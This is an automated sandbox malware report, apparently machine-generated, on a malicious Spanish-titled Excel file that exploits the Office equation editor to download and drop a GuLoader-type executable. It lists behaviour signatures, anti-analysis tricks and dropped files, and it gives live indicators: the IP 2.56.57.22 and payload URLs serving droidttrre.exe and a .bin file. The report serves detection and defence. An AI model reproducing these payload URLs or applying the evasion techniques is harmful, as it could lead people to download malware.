Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\869A5E80.emf Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D05C4 URLDownloadToFileW, 2_2_036D05C4
Source: global traffic HTTP traffic detected: GET /droidttrre.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 2.56.57.22Connection: Keep-Alive
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_00405809

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: sheet1.xml, type: SAMPLE Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: enable Editing a Extract: ARMOURY CRATE CGPU Product.exe 15 r~m0mmbq 'bove to v Extract: APPEASINGL
Source: Screenshot number: 8 Screenshot OCR: enable Editing and Content from the Yellow bar 15 r~m0mmbq . 'bove to view locked content. " ' J"'
Source: Document image extraction number: 1 Screenshot OCR: enable Editing and Content from the Yellow bar above to view locked content. '0 p Search eloper
Source: Document image extraction number: 2 Screenshot OCR: enable Editing and Content from the Yellow bar above to view locked content. ' p SCMb eloper H
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\venxajlddf.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\droidttrre[1].exe Jump to dropped file
Yara signature match
Source: sheet1.xml, type: SAMPLE Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403640
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00406D5F 4_2_00406D5F
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_73BF1BFF 4_2_73BF1BFF
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: BD3.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Process Stats: CPU usage > 98%
PE file does not import any functions
Source: MsMpLics.dll.4.dr Static PE information: No import functions for PE file found
Source: lang-1045.dll.4.dr Static PE information: No import functions for PE file found
Source: System.IO.FileSystem.Watcher.dll.4.dr Static PE information: No import functions for PE file found
PE file contains strange resources
Source: droidttrre[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: venxajlddf.exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
PE file contains more sections than normal
Source: p11-kit-trust.dll.4.dr Static PE information: Number of sections : 11 > 10
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Virustotal: Detection: 54%
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Metadefender: Detection: 22%
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls ReversingLabs: Detection: 58%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\venxajlddf.exe C:\Users\user\AppData\Roaming\venxajlddf.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\venxajlddf.exe C:\Users\user\AppData\Roaming\venxajlddf.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403640
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$#confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR77BE.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@4/21@0/1
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_00404AB5
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File written: C:\Users\user\AppData\Local\Temp\krista.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: H:\n2\3rdparty\FFmpeg\2.8.2\public\src\ffmpeg\libavutil\avutil-54.pdb source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr
Source: Binary string: System.IO.FileSystem.Watcher.ni.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, System.IO.FileSystem.Watcher.dll.4.dr
Source: Binary string: D:\SourceCode\gc3.gpuswitch\production_V4.2\Service\ServiceSDK\Release\GPUSwitchPlugin\ARMOURY CRATE eGPU Product.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr
Source: Binary string: D:\SourceCode\gc3.gpuswitch\production_V4.2\Service\ServiceSDK\Release\GPUSwitchPlugin\ARMOURY CRATE eGPU Product.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr
Source: Binary string: H:\n2\3rdparty\FFmpeg\2.8.2\public\src\ffmpeg\libavutil\avutil-54.pdb source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr
Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.Watcher\net6.0-windows-Release\System.IO.FileSystem.Watcher.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, System.IO.FileSystem.Watcher.dll.4.dr
Source: BD3.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.1181440399.0000000003F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_73BF30C0 push eax; ret 4_2_73BF30EE
PE file contains sections with non-standard names
Source: p11-kit-trust.dll.4.dr Static PE information: section name: .xdata
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_73BF1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_73BF1BFF
Binary contains a suspicious time stamp
Source: MsMpLics.dll.4.dr Static PE information: 0xE6DA2BE7 [Wed Sep 24 01:22:47 2092 UTC]
Source: initial sample Static PE information: section name: .text entropy: 6.94282730477
Drops PE files
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\ARMOURY CRATE eGPU Product.exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\lang-1045.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\MsMpLics.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\p11-kit-trust.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\nsoF8F7.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\System.IO.FileSystem.Watcher.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe File created: C:\Users\user\AppData\Local\Temp\avutil-54.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\venxajlddf.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\droidttrre[1].exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe RDTSC instruction interceptor: First address: 0000000003F3284D second address: 0000000003F3284D instructions: 0x00000000 rdtsc 0x00000002 test ch, dh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F4F04CEE131h 0x00000008 test bl, dl 0x0000000a test dh, dh 0x0000000c inc ebp 0x0000000d pushad 0x0000000e mov di, 3FC4h 0x00000012 cmp di, 3FC4h 0x00000017 jne 00007F4F04CFCB1Eh 0x0000001d popad 0x0000001e inc ebx 0x0000001f cmp ah, ch 0x00000021 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2096 Thread sleep time: -300000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ARMOURY CRATE eGPU Product.exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\lang-1045.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MsMpLics.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\p11-kit-trust.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\System.IO.FileSystem.Watcher.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\avutil-54.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405D74
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_0040699E FindFirstFileW,FindClose, 4_2_0040699E
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe API call chain: ExitProcess graph end node
Source: avutil-54.dll.4.dr Binary or memory string: yuv420pyuyv422rgb24bgr24yuv422pyuv444pyuv410pyuv411pgraygray8,y8monowmonobpal8yuvj420pyuvj422pyuvj444pxvmcmcxvmcidctuyvy422uyyvyy411bgr8bgr4bgr4_bytergb8rgb4rgb4_bytenv12nv21argbrgbaabgrbgragray16bey16begray16ley16leyuv440pyuvj440pyuva420pvdpau_h264vdpau_mpeg1vdpau_mpeg2vdpau_wmv3vdpau_vc1rgb48bergb48lergb565bergb565lergb555bergb555lebgr565bebgr565lebgr555bebgr555levaapi_mocovaapi_idctvaapi_vldyuv420p16leyuv420p16beyuv422p16leyuv422p16beyuv444p16leyuv444p16bevdpau_mpeg4dxva2_vldrgb444lergb444bebgr444lebgr444beya8gray8abgr48bebgr48leyuv420p9beyuv420p9leyuv420p10beyuv420p10leyuv422p10beyuv422p10leyuv444p9beyuv444p9leyuv444p10beyuv444p10leyuv422p9beyuv422p9levda_vldgbrpgbrp9begbrp9legbrp10begbrp10legbrp16begbrp16leyuva420p9beyuva420p9leyuva422p9beyuva422p9leyuva444p9beyuva444p9leyuva420p10beyuva420p10leyuva422p10beyuva422p10leyuva444p10beyuva444p10leyuva420p16beyuva420p16leyuva422p16beyuva422p16leyuva444p16beyuva444p16levdpauxyz12lexyz12benv16nv20lenv20beyvyu422vdaya16beya16leqsvmmald3d11va_vldrgba64bergba64lebgra64bebgra64le0rgbrgb00bgrbgr0yuva444pyuva422pyuv420p12beyuv420p12leyuv420p14beyuv420p14leyuv422p12beyuv422p12leyuv422p14beyuv422p14leyuv444p12beyuv444p12leyuv444p14beyuv444p14legbrp12begbrp12legbrp14begbrp14legbrapgbrap16begbrap16leyuvj411pbayer_bggr8bayer_rggb8bayer_gbrg8bayer_grbg8bayer_bggr16lebayer_bggr16bebayer_rggb16lebayer_rggb16bebayer_gbrg16lebayer_gbrg16bebayer_grbg16lebayer_grbg16beyuv440p10leyuv440p10beyuv440p12leyuv440p12beayuv64leayuv64bevideotoolbox_vldunknowntvpcreservedbt470mbt2020linearlog100log316iec61966-2-4bt1361eiec61966-2-1bt2020-10bt2020-20gbrycgcobt2020ncbt2020cunspecifiedleftcentertoplefttopbottomleftbottomrgb32bgr32le%s%sname nb_components nb_bits%-11s %7d %10dlibavutil/pixdesc.cd->log2_chroma_w <= 3d->log2_chroma_h <= 3d->nb_components <= 4d->name && d->name[0](d->nb_components==4 || d->nb_components==2) == !!(d->flags & (1 << 7))!c->plane && !c->step_minus1 && !c->offset_plus1 && !c->shift && !c->depth_minus1c->step_minus1 >= c->depth_minus18*(c->step_minus1+1) >= c->depth_minus1+1bayer_tmp[0] == 0 && tmp[1] == 0beyuvjpixelutils support is required but libavutil is not compiled with it
Source: venxajlddf.exe, 00000004.00000002.1180587044.00000000005D4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: avutil-54.dll.4.dr Binary or memory string: xvmcidct
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_73BF1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_73BF1BFF
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D0636 mov edx, dword ptr fs:[00000030h] 2_2_036D0636
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\venxajlddf.exe C:\Users\user\AppData\Roaming\venxajlddf.exe Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403640
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 635062 Sample: #confirmaci#U00f3n+y+correc... Startdate: 27/05/2022 Architecture: WINDOWS Score: 100 33 Multi AV Scanner detection for domain / URL 2->33 35 Found malware configuration 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 13 other signatures 2->39 6 EQNEDT32.EXE 11 2->6         started        11 EXCEL.EXE 54 19 2->11         started        process3 dnsIp4 31 2.56.57.22, 49171, 80 GBTCLOUDUS Netherlands 6->31 17 C:\Users\user\AppData\...\venxajlddf.exe, PE32 6->17 dropped 19 C:\Users\user\AppData\...\droidttrre[1].exe, PE32 6->19 dropped 41 Office equation editor establishes network connection 6->41 43 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->43 13 venxajlddf.exe 6 35 6->13         started        21 ~$#confirmaci#U00f...de+la+direccion.xls, data 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\user\AppData\...\p11-kit-trust.dll, PE32+ 13->23 dropped 25 C:\Users\user\AppData\Local\...\System.dll, PE32 13->25 dropped 27 C:\Users\user\AppData\Local\...\lang-1045.dll, PE32 13->27 dropped 29 4 other files (none is malicious) 13->29 dropped 45 Multi AV Scanner detection for dropped file 13->45 47 Tries to detect virtualization through RDTSC time measurements 13->47 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
2.56.57.22
 unknown Netherlands
395800 GBTCLOUDUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://2.56.57.22/yendexoriginwithoutfilter_rctcon218.bin true
    		unknown
    http://2.56.57.22/droidttrre.exe true
    • 12%, Virustotal, Browse
    • Avira URL Cloud: malware
    		 unknown